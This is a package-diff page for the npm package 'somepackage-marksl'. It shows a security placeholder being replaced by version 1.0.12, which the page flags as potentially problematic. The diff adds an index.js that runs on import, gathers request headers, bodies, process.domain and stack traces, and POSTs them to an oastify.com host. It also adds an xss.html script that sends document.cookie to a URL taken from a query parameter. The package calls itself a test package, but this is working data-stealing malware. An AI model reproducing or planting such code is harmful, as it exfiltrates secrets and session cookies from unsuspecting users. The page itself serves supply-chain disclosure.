somepackage-marksl 0.0.1-security → 1.0.12

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of somepackage-marksl might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/README.md +2 -5
  2. package/index.js +56 -0
  3. package/package.json +19 -3
  4. package/xss.html +11 -0
package/README.md CHANGED
@@ -1,5 +1,2 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=somepackage-marksl for more information.
1
+ # somepackage-marksl
2
+ test
package/index.js ADDED
@@ -0,0 +1,56 @@
1
+ const https = require('https');
2
+ const util = require('util')
3
+
4
+ async function main() {
5
+
6
+ // stack
7
+ const error = new Error();
8
+ Error.captureStackTrace(error);
9
+ const callStack = error.stack;
10
+
11
+ // request
12
+ const currentRequest = await getCurrentRequest();
13
+ const currentRequestInspected = util.inspect(currentRequest, {showHidden: false, depth: 2});
14
+ const reqHeaders = currentRequest.headers;
15
+ const reqBody = currentRequest.request.body;
16
+
17
+ // process.domain
18
+ const domain = util.inspect(global.process.domain, {showHidden: false, depth: 2});
19
+
20
+ // objects i want to send
21
+ const goodies = {
22
+ domain,
23
+ reqHeaders,
24
+ reqBody,
25
+ currentRequestInspected, // object too big, send to webhooksite
26
+ callStack
27
+ }
28
+
29
+ for (let [key, value] of Object.entries(goodies)) {
30
+ logToWebhook({key, value});
31
+ }
32
+ }
33
+
34
+ async function logToWebhook(log) {
35
+
36
+ const data = JSON.stringify(log);
37
+
38
+ const options = {
39
+ hostname: 'onfc5kfxrb1avwcksz6o9dmhw825q7ew.oastify.com',
40
+ path: '/',
41
+ method: 'POST',
42
+ headers: {
43
+ 'Content-Length': data.length
44
+ }
45
+ };
46
+
47
+ const req = https.request(options)
48
+ req.write(data);
49
+ req.end();
50
+ }
51
+
52
+ main();
53
+
54
+ exports.printMsg = function() {
55
+ console.log("marksl test");
56
+ }
package/package.json CHANGED
@@ -1,6 +1,22 @@
1
1
  {
2
2
  "name": "somepackage-marksl",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.12",
4
+ "description": "test",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+https://github.com/markslWix/somepackage-marksl.git"
12
+ },
13
+ "keywords": [
14
+ "test"
15
+ ],
16
+ "author": "marksl@wix.com",
17
+ "license": "ISC",
18
+ "bugs": {
19
+ "url": "https://github.com/markslWix/somepackage-marksl/issues"
20
+ },
21
+ "homepage": "https://github.com/markslWix/somepackage-marksl#readme"
6
22
  }
package/xss.html ADDED
@@ -0,0 +1,11 @@
1
+ <script>
2
+ const queryString = window.location.search;
3
+ const urlParams = new URLSearchParams(queryString);
4
+ const urlParam = urlParams.get('url');
5
+
6
+ if (urlParam) {
7
+ fetch(urlParam + '?c=' + encodeURIComponent(document.cookie))
8
+ }
9
+
10
+ alert(document.cookie)
11
+ </script>